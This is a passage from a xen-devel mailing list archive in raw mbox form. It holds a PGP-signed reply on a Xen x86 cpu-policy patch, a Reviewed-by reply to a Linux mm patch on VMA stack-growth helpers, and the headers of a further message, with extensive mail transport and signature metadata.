 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaT
 VqMdqul07o72m3eA2mf+LMu9a04FX/d4wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/
 EoucejoZ5SH49ksmVAmKOLktOaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+S
 PhHar7TPKjFz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FnkzEFRkKb
 Yu6NCfiHfEyB3Xyg9hfdrRgjMRq907zCof+nDtWxGz1MSEuvTj1g9GZ049Bennqzjc/Q+0ov
 XoK4jm+Py0FiUGUaA6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/
 eVtR2Q1wZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
 IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWjmoACGwwA
 CgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiVoUiHYN5QwhnbZnsa
 JDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764QxyX6rld2f2RcWkDuBHun55ZWXj
 by8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk/dS0XTOQi2wVUb17sW/+ybCEokdVacZG
 zOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fuoGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+
 lOWSvdNHgoEkWR0RXBPQjnGmLKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/Off
 O485NOTKwGOxyWb006cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR
 8ULR9nX0LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
 x9fhaZEsniw8/bYgC3igkk5YJiOa
In-Reply-To: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------rNHeVO3n5DbEEksqKdgM8wxX"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783085858816
X-purgate-ID: tlsNG-42698a/1783085863-A653B220-83AF77CE/0/0
X-purgate-type: clean
X-purgate-size: 10702

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------rNHeVO3n5DbEEksqKdgM8wxX
Content-Type: multipart/mixed; boundary="------------QK8rbwIujNhxSW0B5RvVCqkL";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
Message-ID: <b32f0e93-93ee-4601-b0a9-a52b69c5a6cb@vates.tech>
Subject: Re: [PATCH v2 for-4.22] x86/cpu-policy: set up host policy earlier
References: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>
In-Reply-To: <b329e8d1-5f6b-445d-acbd-d60a2d644c1a@suse.com>

--------------QK8rbwIujNhxSW0B5RvVCqkL
Content-Type: multipart/mixed; boundary="------------nR83I3x2siQvkRtBsKTIqkEr"

--------------nR83I3x2siQvkRtBsKTIqkEr
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDMvMDcvMjAyNiDDoCAwODoyOCwgSmFuIEJldWxpY2ggYSDDqWNyaXTCoDoNCj4gSW4g
b3JkZXIgdG8gdXNlIGNwdV9oYXNfKiBleHBhbmRpbmcgdG8gaG9zdF9jcHVfcG9saWN5Lios
IHRoZSBob3N0IHBvbGljeQ0KPiBuZWVkcyBzZXR0aW5nIHVwIGFsb25nc2lkZSBib290X2Nw
dV9kYXRhLng4Nl9jYXBhYmlsaXR5W10uIEFycmFuZ2UgZm9yDQo+IHRoYXQgdG93YXJkcyB0
aGUgZW5kIG9mIGlkZW50aWZ5X2NwdSgpLiBUaGVuIG1ha2Ugc3VyZSAueDg2X2Nh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yBvbiB3aGF0IGhhcmR3YXJlIGZlYXR1cmUgWGVuIHNo
b3VsZCByZWx5IG9uLg0KDQpUZWRkeQ0K
--------------nR83I3x2siQvkRtBsKTIqkEr
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0HfuhcYfAYPR46XHTvjaJEv99sT/vGUG1BZguYDO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Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------nR83I3x2siQvkRtBsKTIqkEr--

--------------QK8rbwIujNhxSW0B5RvVCqkL--

--------------rNHeVO3n5DbEEksqKdgM8wxX
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpHuyIFAwAAAAAACgkQZg+p0QLLz9DH
9gwAj1DBC3g+ypP7sgNc/tzpiJqcdu9T8nWj/PYNPDAJ2O4SYXFAyFhN79ZlM72uF23+/cYeypcn
b7o+kqtPrE+fY1n88+VifLVuLbCn56AsXdJSMLpVHWZyCaUu9qern2VFXjX6gCzH721PaV6qYWSq
Ggn2t5gktXVnM6PbiDwLcCHQbh1N7iHSlmPdH84wSMgTdKhwAYItxEgf8TO3LNfL9FswqCRVhYco
dogmuX75vB6ihc8Cq6u6By8cEf0Hr9uG8XJDzLG891N4pyCZUoOjjqDk/bvPbCVa5fa1qEY5uJvv
Mtj3uvRNNIEtDCP3h42ph3zrMjkCrlKM334Z73TNEiCiiglp8ix58514axvXNn7D3U1OPOjuCmab
dfRtarZHieGoUx94mn0VPqKQcJt3XZkkKd6fV03CTnVrvlMr/4NXfQUrsdQQ8UOrJKXB4dqGD/3C
LKLalgXPR6rcI/7oWj2Uba2KVr3uA3+W2IShrHNDVtMIYRNVmaGs25eCNAgt
=m4c3
-----END PGP SIGNATURE-----

--------------rNHeVO3n5DbEEksqKdgM8wxX--


From xen-devel-bounces@lists.xenproject.org Fri Jul 03 15:19:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 15:19:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353458.1609335 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfffy-0008V8-UH; Fri, 03 Jul 2026 15:19:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353458.1609335; Fri, 03 Jul 2026 15:19:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfffy-0008V1-Rb; Fri, 03 Jul 2026 15:19:34 +0000
Received: by outflank-mailman (input) for mailman id 1353458;
 Fri, 03 Jul 2026 15:19:33 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ziy@nvidia.com>) id 1wfffx-0008Uv-Ap
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 15:19:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfffw-00017f-3A
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 17:19:32 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a47d2d9-2eae-0a2a0a5409dd-0a2a450aa4fe-34
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 17:19:31 +0200
Received: from [40.93.198.47]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ziy@nvidia.com>)
 id 6a47d301-e40e-0a2a450a0019-285dc62f2c99-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 17:19:31 +0200
Received: from IA0PR12MB8374.namprd12.prod.outlook.com (2603:10b6:208:40e::7)
 by PH7PR12MB5856.namprd12.prod.outlook.com (2603:10b6:510:1d7::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Fri, 3 Jul 2026
 15:19:24 +0000
Received: from IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16]) by IA0PR12MB8374.namprd12.prod.outlook.com
 ([fe80::d85f:4c87:ae84:3f16%5]) with mapi id 15.21.0181.009; Fri, 3 Jul 2026
 15:19:23 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=temperror header.s=selector2 header.d=Nvidia.com header.i="@Nvidia.com"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Rd5m6Emj+TW16fmXTB1pci+NBqwXYENjsKVlpGD9ECAMCq4EcFrxnPhVkkMIW4RcBBI34HG37RaG8Led8uF8M2iHrVrQhWK0ccbQVS97v/TAk8XweX7IU+Im+ztTSRWr01bT95TmQVED8847wafdlWo0alwby0VEPrXLaJBYqd1qna8fahsLtay9GBEHQkZelBLdDUBRqRCdp6q5++t3mjkLOshLuIMEObh3eWu3aCjsib4zYzDtSuX1s2ZI4MKmvbl6Sg6FprEiJjqnSItTfENlHySq7y4E2btiZUFnzKRv9ZmvnwdIJ2hTV8ICwEmJ/p5UdY1af2cxKeOf1lphMw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=PJsWbDxlK1lfEc9swedmNLuoU5uhFAQRmSm+tgJfwMs=;
 b=MlVpoqHTH5ZYuGcvTo6vQxZA6Q+ZxE+n0kqcyo0CHUW8OzzzU3R+YG0Xk7iVG7BIY8GscI80LAzKFruvS7JRoWgLCMnnVSCfzPfhQeTaPtlEJn60ndflIMTsW/V/EmUZR2HLExQ/ew5kD1VFvDtf1hFVrbyh8+L9uh7jaFUOPGMYCPEeMZpBIjXcGjWwGAZjmbSjKHVD7RmG1sfNtW7KvaUQu8+8sdTbGYrtz++fAbn+xA3YfIFkluhIzjw8GmvIRLGcxKcCcA5sivFJ0tqfe5BEkgEUbXe84jqVgO73hHpXrCdlAvDAcNowP1n+1b/iWw7bPkEpQ2edrmJoRjCrew==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=nvidia.com; dmarc=pass action=none header.from=nvidia.com;
 dkim=pass header.d=nvidia.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=Nvidia.com;
 s=selector2;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=PJsWbDxlK1lfEc9swedmNLuoU5uhFAQRmSm+tgJfwMs=;
 b=mnMlyBtKDLgxm2OMOM0mkmruD50fISkEz0+Rm+W8d9qTDm8k5EzC4Q3/8cx1JgWQOS8tPYLdVYIkTY19mOOH12wdO6H9G0SrjIYZE/9oDIZtJiWO1BfN5drpSK7RapWDqpnIAwIgo53cOphJ4MhLrRJv9Y5xq2GkaeWUIDPMrAf7Uv6B439nR/YQdSgOzevGmaTP/v/4/DxTYP9XtMsDyRyqHf+IEvLadGOW7bA/7ZiAPMhnMqJshOpYXFQBXVXCOxGhiHJ9UzunYdxaS+1ZvY7HagMXeCCs77ohgUMUuxtU0WMyOp9GuYgmcxgs0NxNoqKsXfRV4OaEnw5ikaO1Og==
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=nvidia.com;
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Fri, 03 Jul 2026 11:19:17 -0400
Message-Id: <DJP1CGPF8ZW3.3BI3XRFCCYU6D@nvidia.com>
From: "Zi Yan" <ziy@nvidia.com>
Subject: Re: [PATCH 01/13] mm: introduce vma_flags_can_grow() and
 vma_can_grow()
Cc: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>, "Madhavan Srinivasan"
 <maddy@linux.ibm.com>, "Michael Ellerman" <mpe@ellerman.id.au>, "Maarten
 Lankhorst" <maarten.lankhorst@linux.intel.com>, "Maxime Ripard"
 <mripard@kernel.org>, "Thomas Zimmermann" <tzimmermann@suse.de>, "David
 Airlie" <airlied@gmail.com>, "Simona Vetter" <simona@ffwll.ch>, "Lucas
 Stach" <l.stach@pengutronix.de>, "Inki Dae" <inki.dae@samsung.com>,
 "Seung-Woo Kim" <sw0312.kim@samsung.com>, "Kyungmin Park"
 <kyungmin.park@samsung.com>, "Krzysztof Kozlowski" <krzk@kernel.org>,
 "Peter Griffin" <peter.griffin@linaro.org>, "Jani Nikula"
 <jani.nikula@linux.intel.com>, "Joonas Lahtinen"
 <joonas.lahtinen@linux.intel.com>, "Rodrigo Vivi" <rodrigo.vivi@intel.com>,
 "Tvrtko Ursulin" <tursulin@ursulin.net>, "Rob Clark"
 <robin.clark@oss.qualcomm.com>, "Dmitry Baryshkov" <lumag@kernel.org>,
 "Lyude Paul" <lyude@redhat.com>, "Danilo Krummrich" <dakr@kernel.org>,
 "Tomi Valkeinen" <tomi.valkeinen@ideasonboard.com>, "Sandy Huang"
 <hjc@rock-chips.com>, =?utf-8?q?Heiko_St=C3=BCbner?= <heiko@sntech.de>,
 "Andy Yan" <andy.yan@rock-chips.com>, "Thierry Reding"
 <thierry.reding@kernel.org>, "Mikko Perttunen" <mperttunen@nvidia.com>,
 "Jonathan Hunter" <jonathanh@nvidia.com>, "Gerd Hoffmann"
 <kraxel@redhat.com>, "Dmitry Osipenko" <dmitry.osipenko@collabora.com>,
 "Zack Rusin" <zack.rusin@broadcom.com>, "Matthew Brost"
 <matthew.brost@intel.com>, "Thomas Hellstrom"
 <thomas.hellstrom@linux.intel.com>, "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>, "Helge Deller" <deller@gmx.de>,
 "Benjamin LaHaise" <bcrl@kvack.org>, "Alexander Viro"
 <viro@zeniv.linux.org.uk>, "Christian Brauner" <brauner@kernel.org>,
 "Muchun Song" <muchun.song@linux.dev>, "Oscar Salvador"
 <osalvador@suse.de>, "David Hildenbrand" <david@kernel.org>, "Baolin Wang"
 <baolin.wang@linux.alibaba.com>, "Liam R . Howlett" <liam@infradead.org>,
 "Nico Pache" <npache@redhat.com>, "Ryan Roberts" <ryan.roberts@arm.com>,
 "Dev Jain" <dev.jain@arm.com>, "Barry Song" <baohua@kernel.org>, "Lance
 Yang" <lance.yang@linux.dev>, "Hugh Dickins" <hughd@google.com>, "Vlastimil
 Babka" <vbabka@kernel.org>, "Mike Rapoport" <rppt@kernel.org>, "Suren
 Baghdasaryan" <surenb@google.com>, "Michal Hocko" <mhocko@suse.com>, "Jann
 Horn" <jannh@google.com>, "Pedro Falcato" <pfalcato@suse.de>, "Kees Cook"
 <kees@kernel.org>, "Jaroslav Kysela" <perex@perex.cz>, "Takashi Iwai"
 <tiwai@suse.com>, <linux-mips@vger.kernel.org>,
 <linux-kernel@vger.kernel.org>, <linuxppc-dev@lists.ozlabs.org>,
 <dri-devel@lists.freedesktop.org>, <etnaviv@lists.freedesktop.org>,
 <linux-arm-kernel@lists.infradead.org>,
 <linux-samsung-soc@vger.kernel.org>, <intel-gfx@lists.freedesktop.org>,
 <linux-arm-msm@vger.kernel.org>, <freedreno@lists.freedesktop.org>,
 <nouveau@lists.freedesktop.org>, <linux-rockchip@lists.infradead.org>,
 <linux-tegra@vger.kernel.org>, <virtualization@lists.linux.dev>,
 <intel-xe@lists.freedesktop.org>, <xen-devel@lists.xenproject.org>,
 <linux-fbdev@vger.kernel.org>, <linux-aio@kvack.org>,
 <linux-fsdevel@vger.kernel.org>, <linux-mm@kvack.org>,
 <linux-sound@vger.kernel.org>
To: "Lorenzo Stoakes" <ljs@kernel.org>, "Andrew Morton"
 <akpm@linux-foundation.org>
X-Mailer: aerc 0.21.0
References: <cover.1782760670.git.ljs@kernel.org>
 <f2e8c32515d328db62279cc8bab8398ea278d74f.1782760670.git.ljs@kernel.org>
In-Reply-To: <f2e8c32515d328db62279cc8bab8398ea278d74f.1782760670.git.ljs@kernel.org>
X-ClientProxiedBy: DM6PR05CA0061.namprd05.prod.outlook.com
 (2603:10b6:5:335::30) To IA0PR12MB8374.namprd12.prod.outlook.com
 (2603:10b6:208:40e::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA0PR12MB8374:EE_|PH7PR12MB5856:EE_
X-MS-Office365-Filtering-Correlation-Id: 51d166c3-9eb7-44b5-2305-08ded9167693
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|366016|7416014|376014|23010399003|18002099003|22082099003|6133799003|4143699003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	waK9HC66LHyvBqm/X6oa+SmhtU6o8X1iOE5NifCkoFkl5td3cp7RXlP+HRoyh/cPFfi70qQO5DQzjzA6/Tubl7xExcVdSWQd+1uWXGR2/gZnGhw4MqYnjDvjFzQBfBBDyvbTxCAthTYUGWdeifgcBwOPeuRIdFPiiFRrUf8cI8NyQLgNhYG1d9toWhc/iTV/sMRgjuC0gqZf7KKvfczTA/r5DoDHE8+8uw0r0waNlUYq+kVtsogTd4HMeap1Q/ZGs42D2YrV+r+5WQkQWUapt0DojyhDAdAmhm5LrxJpJK5EtINZouQbNgQHddP19XtOobJmcUt8jShLMIJocHpoBUnvaALynq3QYcf3VBJXViaATppkrRwmpHWnhW9MoQaFLp9BTE3SbavKLcA5+Anm6t+qECfj0oVTwXb2i5QOQvWEe074SxPlzNCClQ6OAFZGUJuEWuCn9futMXAribhavfRqlwDtPIMaz2obrS2xVTK5R2ZKOxYDiTNfSZL85RJTGnykaasKwCuBFvLX3U+DscbIUXiSF/qxXs4R/q6jP3tNiYzOl6jM/E8w+7V/mCisjndwxIaC2DrRoSjttxMZ6IXYMQZBdUWQ0gMF335ajCA/GS4nm1PUrfUwMqdVRVfSiqilkJEQMTsQvGZqvzNXMXkjxvHcG3sxuHOFhqZeEzI=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA0PR12MB8374.namprd12.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(7416014)(376014)(23010399003)(18002099003)(22082099003)(6133799003)(4143699003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?bGpZaHFMRFp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VEg0SGdH?=
 =?utf-8?B?VVM2MzArMWF2K3hsbmgySllIaFJmZlQzUVd4SmRhWGZ3Wmw5WTlKRXBCb0JQ?=
 =?utf-8?B?cTVzT1l4UlpWNU42cHpnc2lnSk05QmZsekR6aDJKNDR3SWs0b0tLTjR0dVJR?=
 =?utf-8?B?UlVJdmhIQTRlcFZ2M1VsVHcvWFVyZWFNMzlsSUFSdGVUV0xXREdaYjI5YXky?=
 =?utf-8?B?VU5zV2tHL0VHdEYyREpSd3FFaUtzaUhDYnMzWFpnOGd1ckJqaS96dnBxbE5W?=
 =?utf-8?B?ZGNSaDdEY2dsQnk2RVBYUzMyOU94UzY0QWRQd21hUHFDV25qUG9ObW0wUWQx?=
 =?utf-8?B?RlM4Y2l3ZW1QQWhCcjhmaVdqMU5QRno3QktZbndYNUhWbENBZCtXbm54OXFo?=
 =?utf-8?B?b2F6dk9XOTY0OG84ODZPWnB0L2RzbVpxdm9IM1JYZ2ZPYkRlZUx6NlZmb1lk?=
 =?utf-8?B?MC91eVNkVm4rekk1UVlyQ1J1anQxRmxuZ2IxSlNVdHh4VlJjSmFyM1hxMnZt?=
 =?utf-8?B?QlBTK1FpRk96U3JZUGcvSEZaR1pDMWs3QnRPVWlnZzV0U1lINjZzSE9pOENE?=
 =?utf-8?Q?FLvWesTPpyJ9tzjTvw?=
X-OriginatorOrg: Nvidia.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 51d166c3-9eb7-44b5-2305-08ded9167693
X-MS-Exchange-CrossTenant-AuthSource: IA0PR12MB8374.namprd12.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 03 Jul 2026 15:19:23.7516
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 43083d15-7273-40c1-b7db-39efd9ccc17a
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: ve4DjdZRKH5W6DDGg77kv2BkqOMwB0CUDzxD06BnHw7k9x0Ex3i12jMTXkRZN8oc
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR12MB5856
X-purgate-ID: tlsNG-4011c0/1783091971-D693DDDE-9804D025/0/0
X-purgate-type: clean
X-purgate-size: 849

On Mon Jun 29, 2026 at 3:25 PM EDT, Lorenzo Stoakes wrote:
> These test whether the VMA has stack sematics, i.e. is able to grow upwar=
ds
> or downwards depending on the architecture.
>
> In order to account for arches which do not support upward-growing stacks=
,
> introduce VMA_GROWSUP whose definition depends on the architecture
> supporting it, and use vma_flags_test_single_mask() in vma_flags_can_grow=
()
> to account for this.
>
> Update the VMA userland tests to reflect the changes
>
> No functional change intended.
>
> Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> ---
>  include/linux/mm.h              | 21 ++++++++++++++++++---
>  tools/testing/vma/include/dup.h |  4 ++++
>  2 files changed, 22 insertions(+), 3 deletions(-)
>

Reviewed-by: Zi Yan <ziy@nvidia.com>


--=20
Best Regards,
Yan, Zi



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 15:55:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 15:55:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353500.1609360 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfgEi-0007Ar-LD; Fri, 03 Jul 2026 15:55:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353500.1609360; Fri, 03 Jul 2026 15:55:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfgEi-0007Ak-I8; Fri, 03 Jul 2026 15:55:28 +0000
Received: by outflank-mailman (input) for mailman id 1353500;
 Fri, 03 Jul 2026 15:55:28 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <pr-tracker-bot@kernel.org>) id 1wfgEh-0007Ae-VX
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 15:55:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfgEh-009Xco-CF
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 17:55:27 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <pr-tracker-bot@kernel.org>)
 id 6a47db58-bab6-0a2a0a5309dd-0a2a4509d680-32
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 17:55:27 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <pr-tracker-bot@kernel.org>)
 id 6a47db6d-97e6-0a2a45090019-aceafc1f9416-3
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 17:55:27 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id E391743F1E;
 Fri,  3 Jul 2026 15:55:24 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id C801E1F00A3A;
 Fri,  3 Jul 2026 15:55:24 +0000 (UTC)
Received: from [10.30.226.235] (localhost [IPv6:::1])
 by aws-us-west-2-korg-oddjob-rhel9-1.codeaurora.org (Postfix) with ESMTP id
 56A8A3939347; Fri,  3 Jul 2026 15:55:08 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Subject:From:In-Reply-To:References:Date:To:Cc"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783094124;
	bh=tIT8m71ileIYoE59zB8wpmg7EclFYCxOBjVOAJkW9Gc=;
